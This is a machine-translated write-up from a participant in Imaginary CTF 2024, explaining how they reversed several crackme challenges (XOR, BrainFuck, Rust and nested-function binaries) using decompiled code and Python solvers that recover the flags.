{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-imaginary-ctf-2024-en","result":{"data":{"markdownRemark":{"id":"648ee634-23a6-536c-a62e-76a6fc76d0fe","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I participated in Imaginary CTF, which started on July 20, 2024, as part of 0nePadding.

\n

Considering that I could not participate for the entire event, the final ranking was not bad at all.

\n

\n \n \n \n \n \n \n \n \n

\n

As usual, I’ll casually write up the challenges I looked at.

\n\n

Table of Contents

\n\n

unoriginal(Rev)

\n
\n

i like elf reversing

\n
\n

Analyzing the challenge binary shows that it checks whether the input XORed with 5 matches a hardcoded byte sequence, as shown below.

\n

\n \n \n \n \n \n \n \n \n

\n

Applying that XOR directly was enough to recover the flag.

\n

\n \n \n \n \n \n \n \n \n

\n

BF(Rev)

\n
\n

Simple equations… but in BF?!!!

\n
\n

The challenge is provided as a BrainFuck program.

\n
,>>+++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<++++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<+++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++[<+++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><]
\n

It is far too unreadable in this form, so I converted it to C with bftoc.

\n

Reference: bftoc/bftoc.py at master · paulkaefer/bftoc · GitHub

\n

The converted result looked like this.

\n
/* This is a translation of bf.txt, generated by bftoc.py (by Paul Kaefer)\n * It was generated on Saturday, July 20, 2024 at 04:18AM\n */\n\n#include <stdio.h>\n\nvoid main(void)\n{\n    int size = 1000;\n    int tape[size];\n    int i = 0;\n\n    /* Clearing the tape (array) */\n    for (i=0; i<size; i++)\n        tape[i] = 0;\n\n    int ptr = 0;\n\n// chr(138-3*11)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 11;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 3;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 138;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n// chr(169-7*10)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 10;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 7;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 169;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(160-11*4)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 11;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 4;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 160;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(172-10*7)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 10;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 7;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 172;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(174-17*3)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 17;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 3;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 174;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(113-8*8)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 8;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 8;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 113;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(160-13*5)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 13;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 5;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 160;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(148-11*4)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 11;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 4;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 148;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(82-6*5)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 6;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 5;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 82;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(171-11*5)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 11;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 5;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 171;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(114-9*7)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 9;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 7;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 114;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(128-11*3)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 11;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 3;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 128;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(102-17*3)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 17;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 3;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 102;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(170-11*5)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 11;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 5;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 170;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(104-8*7)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 8;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 7;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 104;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(138-6*5)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 6;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 5;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 138;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(108-8*7)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 8;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 7;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 108;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(173-9*7)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 9;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 7;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 173;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(133-6*5)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 6;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 5;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 133;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(98-9*5)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 9;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 5;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 98;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(145-10*5)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 10;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 5;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 145;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(125-10*7)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 10;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 7;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 125;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(170-10*7)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 10;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 7;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 170;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(112-10*6)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 10;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 6;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 112;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(153-17*3)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 17;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 3;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 153;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(95-11*4)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 11;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 4;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 95;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(143-23*2)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 23;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 2;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 143;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// \n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 23;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 3;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 118;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(155-19*3)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 19;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 3;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 155;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n\n// chr(155-6*5)\n    tape[ptr] = getchar();\n    ptr += 2;\n    tape[ptr] += 6;\n    while (tape[ptr] != 0)\n    {\n        ptr -= 1;\n        tape[ptr] += 5;\n        ptr += 1;\n        tape[ptr] -= 1;\n    }\n    ptr -= 1;\n    while (tape[ptr] != 0)\n    {\n        tape[ptr] -= 1;\n        ptr -= 1;\n        tape[ptr] += 1;\n        ptr += 1;\n    }\n    ptr -= 1;\n    tape[ptr] -= 155;\n    while (tape[ptr] != 0)\n    {\n        ptr += 1;\n        ptr -= 1;\n    }\n\n}
\n

Inside this code, blocks with the following structure are defined repeatedly.

\n

For each input character stored in tape[ptr], it performs several operations and finally checks whether expressions such as tape[ptr] -= 138; end up as 0.

\n
// chr(138-3*11)\ntape[ptr] = getchar();\nptr += 2;\ntape[ptr] += 11;\nwhile (tape[ptr] != 0)\n{\n    ptr -= 1;\n    tape[ptr] += 3;\n    ptr += 1;\n    tape[ptr] -= 1;\n}\n\nptr -= 1;\nwhile (tape[ptr] != 0)\n{\n    tape[ptr] -= 1;\n    ptr -= 1;\n    tape[ptr] += 1;\n    ptr += 1;\n}\nptr -= 1;\ntape[ptr] -= 138;\nwhile (tape[ptr] != 0)\n{\n    ptr += 1;\n    ptr -= 1;\n}
\n

Since the flag was only about 30 characters long, I identified it manually instead of writing a solver.

\n

ictf{1_h4t3_3s0l4ng5_7d4f3a1b}

\n

Rust(Rev)

\n
\n

Rust! Enjoy 😃 Note: The message that produces the provided encryption is the flag.

\n
\n

The challenge provides a Rust binary and the result of encrypting the flag.

\n
Enter the message:REDACTED\nEnter the key (in hex): REDACTED\nEncrypted: [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]
\n

After pushing through the analysis, I found that it takes the plaintext to encrypt and a key of up to 16 bytes as input, then applies several transformations.

\n

Although the actual processing is simple, the decompiled Rust binary is unpleasantly complicated. After reading through the assembly, I found that each input character is shifted right by 3, then left by 5, XORed with the provided key, then 0x539 is added and the bits are inverted.

\n

Using the following solver, I recovered the original flag, ictf{ru57_r3v_7f4d3a}.

\n
flag = \"\"\nfirst_8byte_key = 0x8830855547373836\npart_of_second_key = 0x82184000\nguessed_key = 0x979\nenc = [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]\nfor e in enc:\n    tmp = (~e & 0xFFF) - 0x539\n    tmp = tmp ^ guessed_key\n    flag += chr((tmp << 3) >> 5)
\n

unconditional(Rev)

\n
\n

Can you reverse this flag mangler? The output is b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b

\n

The input only contains lowercase letters, numbers, underscore, and braces .

\n
\n

Running the challenge binary prints 33 byte values.

\n

Apparently, whatever input produces b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b is the correct flag.

\n

The decompiled binary shows that a function called iterate is executed in a 33-level nested chain.

\n

Inside this iterate function, it takes the hardcoded flag string from the data section one character at a time, performs some calculations, and outputs the result one byte at a time.

\n
uint64_t iterate(int32_t n)\n{\n    uint8_t word = flag[((int64_t)n)];\n    int32_t rax_28;\n    rax_28 = (n & 1) != 0;\n    char is_even = rax_28;\n    char is_lower;\n    \n    if ((word <= 0x60 || word > 0x7a))\n        is_lower = 0;\n    else\n        is_lower = 1;\n    \n    char X = (((table1[((int64_t)c1)] ^ ((word >> 2) | (word << 6))) * (is_lower ^ 1)) + (is_lower * (((int8_t)(((uint32_t)word) << (8 - table2[((int64_t)c2)]))) | ((int8_t)(((uint32_t)word) >> table2[((int64_t)c2)])))));\n    flag[((int64_t)n)] = ((is_even * ((((word >> 6) | (word << 2)) * (is_lower ^ 1)) + (is_lower * (table1[((int64_t)c1)] ^ word)))) + ((is_even ^ 1) * X));\n    c1 = ((((uint32_t)is_even) + c1) % 6);\n    c2 = ((((uint32_t)is_even) + c2) % 6);\n    printf(\"%02x,\", ((uint64_t)flag[((int64_t)n)]), \"nothing_here_lmao\");\n    return ((uint64_t)(n + 1));\n}\n\n\nint32_t main(int32_t argc, char** argv, char** envp)\n{\n    int32_t n = iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(0))))))))))))))));\n    int32_t n_1 = iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(iterate(n))))))))))))))));\n    iterate(n_1);\n    return 0;\n}
\n

The following values are embedded at the flag location by default.

\n

\n \n \n \n \n \n \n \n \n

\n

Because the iterate output is determined one character at a time, it looked possible to recover the flag with a simple brute-force approach.

\n

I reimplemented the iterate logic in Python as follows and brute-forced the flag.

\n
table1 = [ord(c) for c in \"RdqQTv\"]\ntable2 = [1,3,4,2,6,5]\n\ndef iterate(n,flag,c1,c2):\n    word = flag[n]\n    is_even = (n & 1) != 0\n    is_lower = 0\n    \n    if 0x60 < word <= 0x7a:\n        is_lower = 1\n    \n    X = (((table1[c1] ^ ((word >> 2) | ((word << 6) & 0xFF))) * (is_lower ^ 1)) +\n         (is_lower * (((word << (8 - table2[c2])) & 0xFF) | (word >> table2[c2]))))\n    \n    flag[n] = ((is_even * ((((word >> 6) | ((word << 2) & 0xFF)) * (is_lower ^ 1)) +\n               (is_lower * (table1[c1] ^ word)))) + ((is_even ^ 1) * X)) & 0xFF\n    \n    c1 = ((is_even + c1) % 6)\n    c2 = ((is_even + c2) % 6)\n    \n    # print(f\"{flag[n]:02x},\", end=\"\")\n    return flag[n],c1,c2\n\nflag = [ord(c) for c in \"ictf{AAAAAAAAAAAAAAAAAAAAAAAAAAA}\"]\nans = [0xb4,0x31,0x8e,0x02,0xaf,0x1c,0x5d,0x23,0x98,0x7d,0xa3,0x1e,0xb0,0x3c,0xb3,0xc4,0xa6,0x06,0x58,0x28,0x19,0x7d,0xa3,0xc0,0x85,0x31,0x68,0x0a,0xbc,0x03,0x5d,0x3d,0x0b]\ntarget = 5\nret = \"ictf{\"\n\n# The order here matters (otherwise multiple candidates match)\nl = [ord(c) for c in \"0}{nopqrstuvwxyz_123456789abcdefghijklm\"]\nfor target in range(5,33):\n    for k in l:\n        c1,c2 = (0,0)\n        for n in range(0,target):\n            x,c1,c2 = iterate(n,flag,c1,c2)\n        flag[target] = k\n        x,c1,c2 = iterate(target,flag,c1,c2)\n        # print(hex(x),chr(k))\n        if x == ans[target]:\n            print(target)\n            ret += chr(k)\n            break\n\nprint(ret)\n\n# ictf{m0r3_than_1_way5_t0_c0n7r0l}
\n

One tricky part was that iterate produces duplicate results fairly often, so depending on the brute-force validation order you can end up with a completely different string.

\n

watchdog(Rev)

\n
\n

The keepers of the Watchdog vault have forgotten their password. Can you help them retrieve it?

\n
\n

Decompiling the binary shows that main first checks whether the input length is 0x2b, then verifies whether the vector table produced by evalMultiPoly matches a hardcoded set of values.

\n

In evalMultiPoly, evalVectPoly is called once for each input character, and each result is stored in the returned vector table.

\n

The evalVectPoly function appears to evaluate a polynomial-like sum such as result = pow(n+2,length-1) + pow(n+2,length-2) ... + pow(n+2,0).

\n
int64_t evalVectPoly(int64_t* copied_input_vector, int64_t n+2)\n{\n    int64_t result = 0;\n    \n    for (int32_t i = (vector_size(copied_input_vector) - 1); i >= 0; i -= 1)\n    {\n        int64_t rbx_1 = *(uint64_t*)v_operator(copied_input_vector, ((vector_size(copied_input_vector) - ((int64_t)i)) - 1));\n        // function that computes exponentiation in O(logn)\n        // pow(n+2,lengh)\n        result += (my_pow(n+2, ((int64_t)i)) * rbx_1);\n    }\n    return result;\n}
\n

From there, rewriting the logic as a Python script and using Z3Py is enough to recover the flag.

\n

One thing to watch out for is the size of the symbolic flag variables: if they are too small, the later calculations can no longer be evaluated, so they need to be 64-bit.

\n
